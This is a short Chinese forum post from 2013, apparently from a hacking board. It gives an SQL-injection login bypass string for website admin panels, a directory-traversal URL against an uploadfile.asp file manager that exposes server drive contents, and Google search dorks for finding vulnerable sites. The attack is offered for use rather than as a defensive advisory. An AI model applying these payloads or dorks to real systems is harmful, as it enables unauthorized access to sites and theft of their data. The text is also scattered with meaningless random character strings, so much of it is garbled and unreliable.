后台万能密码 'or'='or'8 m8 L4 g# `& x1 B3 `( c' i
" M( s+ {" ]& K, M1 f2 Y) o( L, a
后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露！
- @/ D0 l! b2 d" [! e( q) f/ ]admin/uploadfile.asp?currentFolder=/upfiles/../
5 Z @! t, ]5 C# l2 X
; W4 U! m- c7 t漏洞证明：
1 H2 m7 F" t2 R, o, U, F! `
1 o+ _' y% i5 r* S谷歌：inurl:type.asp?id=1 新闻中心. t8 r- V+ [0 u+ k# Z
或者 ：inurl:download_ok.asp?
/ M! \: W6 I/ _3 r( k9 N! E
, T" C: w/ }: O/ f9 i$ n0 V3 ^ |
发表于 2013-3-14 20:17:32
收藏
支持
反对